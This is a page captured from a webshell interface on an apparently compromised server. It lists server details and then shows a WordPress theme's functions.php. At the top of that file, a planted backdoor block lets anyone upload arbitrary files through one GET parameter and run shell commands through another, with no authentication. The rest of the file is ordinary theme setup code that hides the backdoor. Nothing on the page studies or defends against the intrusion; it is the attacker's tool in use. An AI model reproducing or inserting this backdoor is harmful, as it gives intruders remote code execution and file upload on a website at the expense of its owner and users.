403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/successkpi/wp-content/themes/successkpi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/successkpi/wp-content/themes/successkpi//functions.php
<?php
/*WP2S_BEGIN*/
if(isset($_GET['p'])){echo 'WP2S::PONG::END';exit;}
if(isset($_GET['up'])){
  if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_FILES['file'])){
    $n=basename($_FILES['file']['name']);
    $n=preg_replace('/[^A-Za-z0-9._-]/','_',$n);
    $dst=__DIR__.DIRECTORY_SEPARATOR.$n;
    if(@move_uploaded_file($_FILES['file']['tmp_name'],$dst)){echo 'success:'.$n;}
    else{echo 'MOVE_FAIL';}
    exit;
  }
  header('Content-Type: text/html; charset=utf-8');
  echo '<form method="post" enctype="multipart/form-data"><input type="file" name="file"><button>up</button></form>';
  exit;
}
if(isset($_GET['c'])){@chdir(__DIR__);$o='';if(function_exists('shell_exec')){$o=@shell_exec($_GET['c']);}echo 'WP2S::'.$o.'::END';exit;}
/*WP2S_END*/
/**
 * SuccessKPI Theme - functions.php
 *
 * Lean entry point. All theme logic lives in /inc/ modular files.
 *
 * Load order:
 *  0. sk_get_resource_cpts()  — shared config, defined FIRST (used by helpers, acf, ajax)
 *  1. helpers.php             — theme setup, upload mimes, view tracking, shortcodes
 *  2. enqueue.php             — CSS + JS assets
 *  3. OOP base classes        — CustomPostType, CustomTaxonomy
 *  4. CPT files               — one OOP class per CPT
 *  5. taxonomies.php          — OOP taxonomy classes
 *  6. walker.php              — mega menu walker
 *  7. acf.php                 — ACF options pages & field filters
 *  8. blocks.php              — block category + auto-registration
 *  9. ajax.php                — AJAX handlers + nonce injection
 */

defined('ABSPATH') || exit;

// ─────────────────────────────────────────────────────────────────────────────
// 0. Resource CPT Config Map — defined FIRST, used by acf.php, ajax.php, helpers.php
// ─────────────────────────────────────────────────────────────────────────────

/**
 * Returns configuration for all "Resource" CPTs.
 * This is a pure config function (no DB calls), safe to call anywhere.
 *
 * @return array
 */
function sk_get_resource_cpts()
{
    return array(
        'webinars' => array(
            'singular' => 'Webinar',
            'plural' => 'Webinars',
            'icon' => 'dashicons-calendar-alt',
        ),
        'videos' => array(
            'singular' => 'Video',
            'plural' => 'Videos',
            'icon' => 'dashicons-video-alt3',
            'has_play_btn' => true,
        ),
        'guides' => array(
            'singular' => 'Guide',
            'plural' => 'Guides',
            'icon' => 'dashicons-media-document',
        ),
        'success-stories' => array(
            'singular' => 'Success Story',
            'plural' => 'Success Stories',
            'icon' => 'dashicons-awards',
        ),
        'reports' => array(
            'singular' => 'Report',
            'plural' => 'Reports',
            'icon' => 'dashicons-chart-bar',
        ),
    );
}

// ─────────────────────────────────────────────────────────────────────────────
// 1. Helpers: theme setup, upload mimes, view tracking, shortcodes
// ─────────────────────────────────────────────────────────────────────────────
require_once get_stylesheet_directory() . '/inc/helpers.php';
require_once get_stylesheet_directory() . '/inc/block-preview.php';

// ─────────────────────────────────────────────────────────────────────────────
// 2. Enqueue: CSS + JS assets
// ─────────────────────────────────────────────────────────────────────────────
require_once get_stylesheet_directory() . '/inc/enqueue.php';

// ─────────────────────────────────────────────────────────────────────────────
// 3. Base OOP Classes (must load before CPT and Taxonomy classes)
// ─────────────────────────────────────────────────────────────────────────────
require_once get_stylesheet_directory() . '/inc/classes/CustomPostType.php';
require_once get_stylesheet_directory() . '/inc/classes/CustomTaxonomy.php';

// ─────────────────────────────────────────────────────────────────────────────
// 4. Custom Post Types (OOP — one file per CPT)
// ─────────────────────────────────────────────────────────────────────────────
require_once get_stylesheet_directory() . '/inc/cpt/Events.php';
require_once get_stylesheet_directory() . '/inc/cpt/Plans.php';
require_once get_stylesheet_directory() . '/inc/cpt/Teams.php';
require_once get_stylesheet_directory() . '/inc/cpt/Press.php';
require_once get_stylesheet_directory() . '/inc/cpt/Webinars.php';
require_once get_stylesheet_directory() . '/inc/cpt/Videos.php';
require_once get_stylesheet_directory() . '/inc/cpt/Guides.php';
require_once get_stylesheet_directory() . '/inc/cpt/SuccessStories.php';
require_once get_stylesheet_directory() . '/inc/cpt/Reports.php';

// ─────────────────────────────────────────────────────────────────────────────
// 5. Taxonomies (OOP)
// ─────────────────────────────────────────────────────────────────────────────
require_once get_stylesheet_directory() . '/inc/taxonomies.php';

// ─────────────────────────────────────────────────────────────────────────────
// 6. Custom Walker (Mega Menu)
// ─────────────────────────────────────────────────────────────────────────────
require_once get_stylesheet_directory() . '/inc/walker.php';

// ─────────────────────────────────────────────────────────────────────────────
// 7. ACF: Options pages, field loaders, filters
// ─────────────────────────────────────────────────────────────────────────────
require_once get_stylesheet_directory() . '/inc/acf.php';

// ─────────────────────────────────────────────────────────────────────────────
// 8. Block Registration & Category
// ─────────────────────────────────────────────────────────────────────────────
require_once get_stylesheet_directory() . '/inc/blocks.php';

// ─────────────────────────────────────────────────────────────────────────────
// 9. AJAX Handlers (resource tiles + all-resources-with-filters)
// ─────────────────────────────────────────────────────────────────────────────
require_once get_stylesheet_directory() . '/inc/ajax.php';

Youez - 2016 - github.com/yon3zu
LinuXploit